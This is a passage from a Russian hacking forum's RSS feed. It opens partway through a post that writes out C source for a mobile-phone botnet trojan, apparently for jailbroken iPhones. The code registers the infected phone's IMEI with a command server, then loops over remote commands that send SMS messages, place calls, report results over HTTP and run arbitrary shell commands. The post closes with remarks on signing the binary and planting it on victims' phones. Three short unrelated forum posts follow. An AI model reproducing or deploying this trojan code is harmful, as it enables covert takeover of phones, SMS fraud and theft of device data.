&lt;p&gt; int fd; &lt;p&gt; fd = InitConn(115200); &lt;p&gt; AT(fd); &lt;p&gt; SendCmd(fd, &quot;AT+CGSN&amp;#92;r&quot;,9); &lt;p&gt; char* res = ReadResp(fd) ; &lt;p&gt; CloseConn(fd); &lt;p&gt; return res; &lt;p&gt; } &lt;p&gt; Ну вот, закончили с АТ-командами. Теперь можно объединить все вместе в main функции. &lt;br /&gt; Регистрация телефона в ботнете и получение команды &lt;p&gt; Чтобы хозяин знал, что в его коллекции появился еще один зверек, зараженному надо зарегистрироваться. С точки зрения трояна – это просто еще один http-запрос. В качестве параметра передает IMEI телефона и проверочный код. Код – это специальная функция, вычисленная от IMEI. В прошлой статье я приводил ее исходник на PHP на стороне сервера. А вот реализация на С: &lt;p&gt; int getVKey(char* imei){ &lt;p&gt; if (strlen(imei)!=15) return -1; &lt;p&gt; int vkey = 0; &lt;p&gt; int i = 0; &lt;p&gt; int c = 0; &lt;p&gt; int l = 0; &lt;p&gt; int m = 0; &lt;p&gt; char *k = (char *)malloc(1); &lt;p&gt; for (i=0; i&lt;5; i++){ &lt;p&gt; switch (i) { &lt;p&gt; case 0: l = 3; m = 101; break; &lt;p&gt; case 1: l = 7; m = 107; break; &lt;p&gt; case 2: l = 8; m = 3; break; &lt;p&gt; case 3: l = 11; m = 9; break; &lt;p&gt; case 4: l = 13; m = 71; break; &lt;p&gt; } &lt;p&gt; memcpy(k, &amp;imei[l], 1); &lt;p&gt; c = atoi(k); &lt;p&gt; vkey+=c*m; &lt;p&gt; } &lt;p&gt; return vkey; &lt;p&gt; } &lt;p&gt; int regZombie(char* imei) { &lt;p&gt; char* regurl[1024]; &lt;p&gt; sprintf(regurl,&quot;/master-server/reg.php?imei=%s&amp;vkey=%d&quot;,imei, getVKey(imei)); &lt;p&gt; sendHttpRequest(&quot;192.168.10.1&quot;,regurl); &lt;p&gt; return 0; &lt;p&gt; } &lt;br /&gt; main() – всему голова &lt;p&gt; Осталось самая малость – написать главную функцию. Здесь мы будем в цикле принимать и обрабатывать пришедшие команды от сервера и, в зависимости от команд, выполнять те или иные действия. Меньше слов, больше кода: &lt;p&gt; int doCmd(struct COMMAND COMMAND){ &lt;p&gt; if (strstr(COMMAND.ct, &quot;sm&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; if (strstr(COMMAND.p2,&quot;getIMEI&quot;)!=NULL){ &lt;p&gt; sendSMS(COMMAND.p1,getIMEI()); &lt;p&gt; } &lt;p&gt; else if (strlen(COMMAND.p1)==1){ //номер по умолчанию, использовался при записи &lt;br /&gt; видео-ролика для Х &lt;p&gt; sendSMS(&quot;89100000000&quot;,COMMAND.p2); &lt;p&gt; } &lt;p&gt; else { &lt;p&gt; sendSMS(COMMAND.p1,COMMAND.p2); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;at&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0) { &lt;p&gt; char *res[1024]; &lt;p&gt; sprintf(res,&quot;%s&quot;,getCALL(COMMAND.p1)); &lt;p&gt; if (strstr(COMMAND.rt, &quot;sm&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.r1)&gt;0){ &lt;p&gt; sendSMS(COMMAND.r1,res); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.rt, &quot;ws&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.r1)&gt;NULL &amp;&amp; strlen(COMMAND.r2)&gt;0){ &lt;p&gt; char *urlres[1024]; &lt;p&gt; sprintf(urlres,&quot;%s%s&quot;,COMMAND.r2,res); &lt;p&gt; sendHttpRequest(COMMAND.r1,urlres); &lt;p&gt; free(urlres); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;sh&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; system(COMMAND.p1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;tg&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; timeout=atoi(COMMAND.p1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; return 0; &lt;p&gt; } &lt;p&gt; int main(int argc, char **argv) { &lt;p&gt; regZombie(getIMEI()); &lt;p&gt; while(1) { &lt;p&gt; sleep(timeout); &lt;p&gt; COMMAND = takeCmd(1); &lt;p&gt; doCmd(COMMAND); &lt;p&gt; COMMAND = takeCmd(0); &lt;p&gt; doCmd(COMMAND); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; Ну что, все очень просто и открыто. Самый главный хак в этом трояне – написанная правильными ребятами утилита ldid. Она позволяет подписать скомпиленный бинарник, чтобы он запускался на телефоне. Процедура эта уникальна для каждого аппарата. Тут возникает необходимость копировать эту утилиту на зараженный телефон, если она не была установлена самим владельцем вместе с каким-нибудь пакетом. Но это уже дело техники внедрения</content:encoded>
			<category>Hack - Is style of our life</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/24-35-1</guid>
		</item>
		<item>
			<title>История развития поисковых систем</title>
			<link>https://socket.ucoz.com/forum/28-32-1</link>
			<pubDate>Fri, 31 Jul 2009 17:26:13 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/28&quot;&gt;Интернет&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Одним из первых способов доступа к ресурсам сети стало создание каталогов сайтов, в которых ссылки на ресурсы группировались согласно их тематике. Первым таким проектом стал сайт Yahoo, открывшийся в апреле 1994 года. После того, как число сайтов в каталоге Yahoo значительно увеличилось, была добавлена возможность поиска информации по каталогу. Это, конечно же, не было поисковой системой в полном смысле, так как область поиска была ограничена только ресурсами, присутствующими в каталоге, а не всеми ресурсами сети Интернет. &lt;p&gt; Каталоги ссылок широко использовались ранее, но практически утратили свою популярность в настоящее время. Причина этого очень проста – даже современные каталоги, содержащие огромное количество ресурсов, представляют информацию лишь об очень малой части сети Интернет. Самый большой каталог сети DMOZ (или Open Directory Project) содержит информацию о 5 миллионах ресурсов, в то время как база поисковой системы Google состоит из более чем 8 миллиардов документов. &lt;p&gt; Первой хорошой поисковой системой стал проект WebCrawler появившийся в 1994 году. &lt;p&gt; В 1995 году появились поисковые системы Lycos и AltaVista. AltaVista долгие годы была лидером в области поиска информации в Интернет. &lt;p&gt; В 1997 году Сергей Брин (Выходец из России) и Ларри Пейдж создали Google в рамках исследовательского проекта в Стэнфордском университете. В настоящий момент Google самая популярная поисковая система в мире. &lt;p&gt; 23 сентября 1997 года была официально анонсирована поисковая система Yandex, самая популярная в русскоязычной части Интернет. &lt;p&gt; В настоящее время существует 3 основных международных поисковых системы – Google, Yahoo и MSN Search, имеющих собственные базы и алгоритмы поиска. Большинство остальных поисковых систем (коих можно насчитать очень много) использует в том или ином виде результаты 3 перечисленных. Например, поиск AOL (search.aol.com) и Mail.ru используют базу Google, а AltaVista, Lycos и AllTheWeb – базу Yahoo. &lt;p&gt; В России основной поисковой системой является Яндекс, за ним идут Rambler, Google.ru, Aport, Mail.ru и KM.ru.</content:encoded>
			<category>Интернет</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/28-32-1</guid>
		</item>
		<item>
			<title>Обмен баннерами</title>
			<link>https://socket.ucoz.com/forum/28-31-1</link>
			<pubDate>Fri, 31 Jul 2009 17:21:04 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/28&quot;&gt;Интернет&lt;/a&gt;&lt;br /&gt;Описание темы: Обменяемся?))&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Пишите все кто хочет поменяться баннерами</content:encoded>
			<category>Интернет</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/28-31-1</guid>
		</item>
		<item>
			<title>Платные раскрутки</title>
			<link>https://socket.ucoz.com/forum/28-30-1</link>
			<pubDate>Fri, 31 Jul 2009 17:20:19 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/28&quot;&gt;Интернет&lt;/a&gt;&lt;br /&gt;Описание темы: Пишим сюда все известные платные раскрутки&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>пишим))</content:encoded>
			<category>Интернет</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/28-30-1</guid>
		</item>
	</channel>
</rss>